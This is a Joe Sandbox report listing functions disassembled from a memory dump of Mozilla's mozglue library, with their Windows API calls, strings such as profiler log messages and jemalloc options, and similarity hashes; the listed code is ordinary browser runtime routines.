Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C9AF02F

Part of subcall function 6C9AF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9AF09B
Part of subcall function 6C9AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C9AF0AC
Part of subcall function 6C9AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C9AF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C9AF008
[I %d/%d] profiler_stop, xrefs: 6C9AEED7

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: e0b5e06fa548aa66f4fe7a080d330313e7f5786b9f3c77c218a307b030f63438
Instruction ID: 9b5baf518c6750a9e02c39c71052de8548abc123fbef81af768700f4a1109351
Opcode Fuzzy Hash: e0b5e06fa548aa66f4fe7a080d330313e7f5786b9f3c77c218a307b030f63438
Instruction Fuzzy Hash: 3651C0316083109FDB416BA4E4087A53BB8EFBE21CF34056AE91583F40EB36C815C7E6

Function 6C99D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9EE804), ref: 6C99D047
GetSystemInfo.KERNEL32(?), ref: 6C99D093
__Init_thread_footer.LIBCMT ref: 6C99D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9EE810,00000040), ref: 6C99D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7B8,00001388), ref: 6C99D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE744,00001388), ref: 6C99D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE784,00001388), ref: 6C99D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7DC,00001388), ref: 6C99D1B1

Strings

<jemalloc>, xrefs: 6C99D268, 6C99D311
MOZ_CRASH(), xrefs: 6C99D277
Compile-time page size does not divide the runtime one., xrefs: 6C99D26D
MALLOC_OPTIONS, xrefs: 6C99D0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C99D322

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a27895742619cb028cfca6ccb5661c29c44cd89c2acce0ce9484d10a43fd0711
Instruction ID: b03fdd240988c593e7ca7b8a400660fa53ac528a8f5f3d39aaf2389828ef5093
Opcode Fuzzy Hash: a27895742619cb028cfca6ccb5661c29c44cd89c2acce0ce9484d10a43fd0711
Instruction Fuzzy Hash: 2881D272B08240DBEB549F69C984B6937B9FF7E708F280529E90197B80D772D845CBD2

Function 6C975E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975E9D

Part of subcall function 6C985B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9856EE,?,00000001), ref: 6C985B85
Part of subcall function 6C985B50: EnterCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985B90
Part of subcall function 6C985B50: LeaveCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985BD8
Part of subcall function 6C985B50: GetTickCount64.KERNEL32 ref: 6C985BE4

GetCurrentThreadId.KERNEL32 ref: 6C975EAB
GetCurrentThreadId.KERNEL32 ref: 6C975EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C976017

Part of subcall function 6C964310: moz_xmalloc.MOZGLUE(00000010,?,6C9642D2), ref: 6C96436A
Part of subcall function 6C964310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9642D2), ref: 6C964387

moz_xmalloc.MOZGLUE(00000004), ref: 6C975F47
GetCurrentProcess.KERNEL32 ref: 6C975F53
GetCurrentThread.KERNEL32 ref: 6C975F5C
GetCurrentProcess.KERNEL32 ref: 6C975F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C975F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C975F27

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C975E8C

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C97605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C9760CC

Strings

GeckoMain, xrefs: 6C975ECE, 6C976015

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 8960327e0a59053ca19c450abf1c51b2d3b76c8de828bb830a81ed0ed48bede2
Instruction ID: 14251ca59e7385bcc935e5c0133e369f5812919bbaf5ad3b65cf56d2c55593da
Opcode Fuzzy Hash: 8960327e0a59053ca19c450abf1c51b2d3b76c8de828bb830a81ed0ed48bede2
Instruction Fuzzy Hash: 1871F5B0609740DFD750DF25D484A6ABBF0FF6A308F14496EE48687B52D731E948CBA2

Function 6C979590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C963217
Part of subcall function 6C9631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C963236
Part of subcall function 6C9631C0: FreeLibrary.KERNEL32 ref: 6C96324B
Part of subcall function 6C9631C0: __Init_thread_footer.LIBCMT ref: 6C963260
Part of subcall function 6C9631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C96327F
Part of subcall function 6C9631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C96328E
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9632AB
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9632D1
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9632E5
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9632F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C979675
__Init_thread_footer.LIBCMT ref: 6C979697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C979707
__Init_thread_footer.LIBCMT ref: 6C97971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9797B7
FreeLibrary.KERNEL32 ref: 6C9797D0
FreeLibrary.KERNEL32 ref: 6C9797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979824

Strings

ntdll.dll, xrefs: 6C9796E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C979670
NtMapViewOfSection, xrefs: 6C979701
MapViewOfFileNuma2, xrefs: 6C9797B1

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 595ac8bd3f61f0982340874a5b2509a80a8579773698ea50d2f95b49a51c7c94
Instruction ID: 2255980e80f02c6529eb37a82f2fe8dcc81a6e115dbf470b60d64625d6b52f61
Opcode Fuzzy Hash: 595ac8bd3f61f0982340874a5b2509a80a8579773698ea50d2f95b49a51c7c94
Instruction Fuzzy Hash: 05610571609305DBDF10CF69E884B9A3BB5FFAEB18F21451AE91583B80D731D844CBA1

Function 6C977FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C978007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C97801D

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C97802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C97803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C97808D

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C97809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9780B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9780DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9780ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9780FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C978133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C978149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C978167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C97817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C978199

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: d7652ef5e0b983d38e575d6bc149e8cde9c7e52c0f2b93d5dc3daa544d2c15a5
Instruction ID: 3f8d096ea9da36fee25b497ea759c1ef8f970cf849d7a8d3b2d2d6107c961841
Opcode Fuzzy Hash: d7652ef5e0b983d38e575d6bc149e8cde9c7e52c0f2b93d5dc3daa544d2c15a5
Instruction Fuzzy Hash: 2C5193B2E01204ABDF10DBA5DC849EFB7B9AF69224F240525E815F7741E730E904CBB5

Function 6C9C6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6694
GetThreadId.KERNEL32(?), ref: 6C9C66B1
GetCurrentThreadId.KERNEL32 ref: 6C9C66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9C66E1
EnterCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6734
GetCurrentProcess.KERNEL32 ref: 6C9C673A
LeaveCriticalSection.KERNEL32(6C9EF618), ref: 6C9C676C
GetCurrentThread.KERNEL32 ref: 6C9C67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9C6868
RtlCaptureContext.NTDLL ref: 6C9C687F

Strings

WalkStack64, xrefs: 6C9C6890

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 13d0fe0773d5af7dcad45940b900da003e499c42668cb37f964e292d64b003e9
Instruction ID: 9f7277f9b6d2efab59e9e0cb485affda18df69dc592b538b5569a5db08b6fcd5
Opcode Fuzzy Hash: 13d0fe0773d5af7dcad45940b900da003e499c42668cb37f964e292d64b003e9
Instruction Fuzzy Hash: 88518A71A09341AFDB11CF24C884A6ABBF8BF9DB14F10492DF99997640D770E918CB93

Function 6C9ADE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9ADE73
GetCurrentThreadId.KERNEL32 ref: 6C9ADF7D
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ADF8A
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ADFC9
GetCurrentThreadId.KERNEL32 ref: 6C9ADFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C974A68), ref: 6C9ADE7B

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C974A68), ref: 6C9ADEB8
free.MOZGLUE(00000000,?,6C974A68), ref: 6C9ADEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9ADF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C9ADE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C9AE00E
<none>, xrefs: 6C9ADFD7

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 93237df78516550db2a5654f682119f1889c8aee35ca0d655dd967e0bbcd39bd
Instruction ID: b2e432233aa7ff7654ecfa02c4ded3722ea480bd4f3e2549dcfa46f29682cee3
Opcode Fuzzy Hash: 93237df78516550db2a5654f682119f1889c8aee35ca0d655dd967e0bbcd39bd
Instruction Fuzzy Hash: 9341D5767052119BDB109BA4E8087AA7779FFBD30CF24001AED0997B41DB32D916CBE6

Function 6C9BD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD52A
GetCurrentThreadId.KERNEL32 ref: 6C9BD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD55F
free.MOZGLUE(00000000), ref: 6C9BD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9BD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9BD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD652
GetCurrentThreadId.KERNEL32 ref: 6C9BD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9BD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9BD6A2

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 8fb249824e4b1d4000872a42ce00c5d07e8dd008cf88d398f413ca673ff964e5
Instruction ID: c3521bf70c0c94e7546c3f9452d5556b8e5111a4fabb0f5b5d80f5f72a0a40b2
Opcode Fuzzy Hash: 8fb249824e4b1d4000872a42ce00c5d07e8dd008cf88d398f413ca673ff964e5
Instruction Fuzzy Hash: 5F517CB1608705EFC744CF24C884A9ABBB4FF99318F108A2EE95A97710DB30E945CB95

Function 6C985670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9856D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9856E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9856F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C985744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9857BC
GetTickCount64.KERNEL32 ref: 6C9858CB
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C9858F3
__aulldiv.LIBCMT ref: 6C985945
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C9859B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9EF638,?,?,?,?), ref: 6C9859E9

Strings

MOZ_APP_RESTART, xrefs: 6C9856CC

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 899c853e5123a08aebf0c67880c3180985302c8ee46f2ef989894c4a8376781c
Instruction ID: 449a1b0476c262edf3ca089555b98177e46039515e7b13ac1a5f797acb962291
Opcode Fuzzy Hash: 899c853e5123a08aebf0c67880c3180985302c8ee46f2ef989894c4a8376781c
Instruction Fuzzy Hash: D8C17D31A0D7449FDB05CF28C44066ABBF1BFEA718F158A1EE4C597660D731E989CB82

Function 6C9AEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AEC8C

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AECA1
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C9AECC5
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AED19
CloseHandle.KERNEL32(?), ref: 6C9AED28
free.MOZGLUE(00000000), ref: 6C9AED2F
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C9AEC94

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: ad865863c9eda9a940bec9c7d8e5785f3eab991f7228970c1da69dfa7c3c9797
Instruction ID: 5e2f8ba139f362027db7b16d5f1632f917833f1c0c1bca37fb7e0fd52d427734
Opcode Fuzzy Hash: ad865863c9eda9a940bec9c7d8e5785f3eab991f7228970c1da69dfa7c3c9797
Instruction Fuzzy Hash: AB21FC75504204AFDB419FA4D808B9A3779FFB936CF204215FD1857741E731D8268BE5

Function 6C9A8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C96EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C9AB392,?,?,00000001), ref: 6C9A91F4

